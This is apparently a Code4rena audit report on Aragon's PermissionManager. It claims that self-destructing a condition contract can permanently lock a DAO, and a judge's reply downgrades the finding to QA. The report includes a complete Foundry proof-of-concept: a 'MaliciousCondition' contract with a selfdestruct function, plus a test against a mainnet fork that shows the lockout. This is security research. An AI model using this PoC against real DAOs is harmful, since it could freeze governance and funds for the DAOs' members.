code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-03-aragon/blob/4db573870aa4e1f40a3381cdd4ec006222e471fe/packages/contracts/src/core/permission/PermissionManager.sol#L312 https://github.com/code-423n4/2023-03-aragon/blob/4db573870aa4e1f40a3381cdd4ec006222e471fe/packages/contracts/src/core/permission/PermissionManager.sol#L297-L323

Vulnerability details

Impact

In the Security section of Aragon's documentation it is mentioned that metamorphic contracts is a backdoor risk. This is in regards to Plugins that can be redeployed with new code.

There exists a similar risk for condition contracts that is easier to execute by an attacker since it will only require the attacker to self destruct the contract. If an attacker can mange to self destruct a condition contract they could permanently lock a DAO.

If a condition contract is self destroyed the _isGranted() function will revert since the IPermissoinCondition(...).isGranted() call expected 1 return parameter but will receive 2 if the called contract has no bytecode (L312). See the following code for context on L311-318 in the PermissionManager.

    function _isGranted(
        address _where,
        address _who,
        bytes32 _permissionId,
        bytes memory _data
    ) internal view virtual returns (bool) {
        address accessFlagOrCondition = permissionsHashed[
            permissionHash(_where, _who, _permissionId)
        ];

        if (accessFlagOrCondition == UNSET_FLAG) return false;
        if (accessFlagOrCondition == ALLOW_FLAG) return true;

        try
            IPermissionCondition(accessFlagOrCondition).isGranted(
                _where,
                _who,
                _permissionId,
                _data
            )
        returns (bool allowed) { //@audit REVERTS IF CONDITION IS AN EOA
            if (allowed) return true;
        } catch {}

        return false;
    }

Proof of Concept

This POC show that a DAO can be permanently locked if the condition contract is self destroyed and it is governing over the execution permission of the DAO.

In this POC we use the admin.sol as the governance plugin but this risk is valid for all governance plugins as long as access to execution is based on a single condition contract.

To run the POC:

Create new foundry folder
Paste the code below into a new test file
run forge test --fork-url <MAINNET API KEY> --fork-block-number 16797242

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/Counter.sol";

interface IDAO {
    struct Action {
        address to;
        uint256 value;
        bytes data;
    }

    function hasPermission(
        address _where,
        address _who,
        bytes32 _permissionId,
        bytes memory _data
    ) external view returns (bool);

}

interface IPluginRepo {
    struct Tag {
        uint8 release;
        uint16 build;
    }
    struct Version {
        Tag tag;
        address pluginSetup;
        bytes buildMetadata;
    }
}
interface IDAOFactory{
    function createDao(
            DAOSettings calldata _daoSettings,
            PluginSettings[] calldata _pluginSettings
        ) external returns (IDAO createdDao) ;

}

interface IAdmin {
    function executeProposal( 
            bytes calldata _metadata,
            IDAO.Action[] calldata _actions,
            uint256 _allowFailureMap
    ) external; 
}

interface IPermissionCondition {
    function isGranted(
        address _where,
        address _who,
        bytes32 _permissionId,
        bytes calldata _data
    ) external view returns (bool allowed);
}

struct DAOSettings {
        address trustedForwarder;
        string daoURI;
        string subdomain;
        bytes metadata;
    }

struct PluginSettings {
    PluginSetupRef pluginSetupRef;
    bytes data;
}
struct PluginSetupRef {
    IPluginRepo.Tag versionTag;
    IPluginRepo pluginSetupRepo;
}

contract MaliciousCondition {
    function isGranted(
        address _where,
        address _who,
        bytes32 _permissionId,
        bytes calldata _data
    ) external view returns (bool allowed) {
        return true;
    }

    // function that self destructs the contract
    function selfdestructContract() external {
        selfdestruct(payable(msg.sender));
    }
}

contract AragonPocSelfDestruct is Test {

    IDAOFactory daofactory = IDAOFactory(0xA03C2182af8eC460D498108C92E8638a580b94d4);
    IDAO dao;
    MaliciousCondition maliciousCondition;
    PluginSettings[] pluginSettings;
    IDAO.Action[] actions;

    address plugin = 0x7C270ECC36d64FC05e9Ffb5599528C47783ba0A4; //admin plugin address (known because of create2)

    bytes32 public constant EXECUTE_PROPOSAL_PERMISSION_ID =
        keccak256("EXECUTE_PROPOSAL_PERMISSION");

    function setUp() public {
        DAOSettings memory daoSettings = DAOSettings(address(5), "nan", "nan", abi.encode(0));
        IPluginRepo.Tag memory tag = IPluginRepo.Tag(1,1);
        PluginSetupRef memory setupRef = 
            PluginSetupRef(tag, IPluginRepo(0xA4371a239D08bfBA6E8894eccf8466C6323A52C3));

        bytes memory data = abi.encode(address(this));
        PluginSettings memory pluginSetting = PluginSettings(setupRef, data);
        pluginSettings.push(pluginSetting);
        dao = daofactory.createDao(daoSettings, pluginSettings); 

        maliciousCondition = new MaliciousCondition();

    }

    // If the condition contract is destroyed, and it governes over execution permission the DAO is permanently locked.
    function testMaliciousCondition() public {
        bool success = dao.hasPermission(plugin, address(this), EXECUTE_PROPOSAL_PERMISSION_ID, bytes(""));
        assertEq(success, true);

        IDAO.Action memory revokeAction = IDAO.Action(address(dao), 0, abi.encodeWithSignature(
            "revoke(address,address,bytes32)", plugin, address(this), EXECUTE_PROPOSAL_PERMISSION_ID));

        IDAO.Action memory grantWithConditionAction = IDAO.Action(address(dao), 0, abi.encodeWithSignature(
            "grantWithCondition(address,address,bytes32,address)",
             plugin, 
             address(this), 
             EXECUTE_PROPOSAL_PERMISSION_ID,
             address(maliciousCondition)
             ));

        // Two actions, one to revoke the old permission, one to grant new permission through a condition contract.
        actions.push(revokeAction);
        actions.push(grantWithConditionAction);

        uint256 allowFailureMap = 0;
        IAdmin(plugin).executeProposal(bytes(""), actions, allowFailureMap);

        bool ret = dao.hasPermission(plugin, address(this), EXECUTE_PROPOSAL_PERMISSION_ID, bytes(""));
        assertEq(ret, true); //still has permission through condition contract

        maliciousCondition.selfdestructContract(); 
        vm.etch(address(maliciousCondition), bytes(""));
        //etch to simulate self destruct. self descrtuction is done at the end of a transaction
        //not possible to test with foundry. See https://github.com/foundry-rs/foundry/issues/1543

        //The DAO is now locked since the condition contract is destroyed and reverts in the _isGranted function
        vm.expectRevert(); 
        dao.hasPermission(plugin, address(this), EXECUTE_PROPOSAL_PERMISSION_ID, bytes(""));
    }
}

Tools Used

VScode, foundry

Recommended Mitigation Steps

There is no complete solution to this other than being clear in the documentation that this is a risk and to communicate to developers that they should look out for self destructs and delegatecalls that could lead to self destruction. I recommend adding this to the Security section of the documentation.

The risk can be decreased for the admin plugin by adding a two step process where changes are first proposed and then executed such that the admin and other community members can review changes before they are executed.

0xean commented 1 year ago

Warden offers no plausible explanation on how this contract could be self destructed so will move this to QA.

c4-judge commented 1 year ago

0xean changed the severity to QA (Quality Assurance)